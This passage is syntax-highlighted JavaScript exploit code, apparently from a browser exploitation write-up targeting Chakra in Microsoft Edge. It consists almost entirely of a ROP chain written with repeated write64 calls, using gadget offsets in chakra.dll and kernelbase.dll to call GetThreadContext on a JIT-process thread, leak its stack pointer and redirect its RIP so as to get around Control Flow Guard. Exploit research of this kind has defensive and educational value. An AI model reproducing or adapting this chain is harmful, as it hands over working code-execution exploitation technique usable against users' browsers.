<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// GetThreadContext() ROP chain</span>
<span class="c1">// Stage 8 -&gt; Dump the registers of our newly created thread within the JIT process to leak the stack</span>

<span class="c1">// First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the VirtualAlloc allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x22b732</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18022b732: add rax, 0x10 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store CONTEXT.ContextFlags</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110</span>
<span class="c1">// The value we need to set is 0x10001F</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll with CONTEXT.ContextFlags address</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x0010001F</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// CONTEXT_ALL</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future mov qword [rax+0x20], rcx gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our thread HANDLE is</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCONTEXT lpContext</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)</span>
<span class="nx">next</span><span class="p">();</span>                                                                      
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!GetThreadContext</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x72d10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!GetThreadContext address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Locate store CONTEXT.Rsp and store it in .data of kernelbase.dll</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a110</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we stored CONTEXT.ContextFlags</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x4c37c5</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>		<span class="c1">// 0x1804c37c5: mov rax, qword [rcx] ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26f73a</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18026f73a: add rax, 0x68 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a118</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we want to store CONTEXT.Rsp</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Update CONTEXT.Rip to point to a ret gadget directly instead of relying on CreateRemoteThread start routine (which CFG checks)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26f72a</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18026f72a: add rax, 0x60 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// ret gadget we want to overwrite our remote thread's RIP with </span>
<span class="nx">next</span><span class="p">();</span>
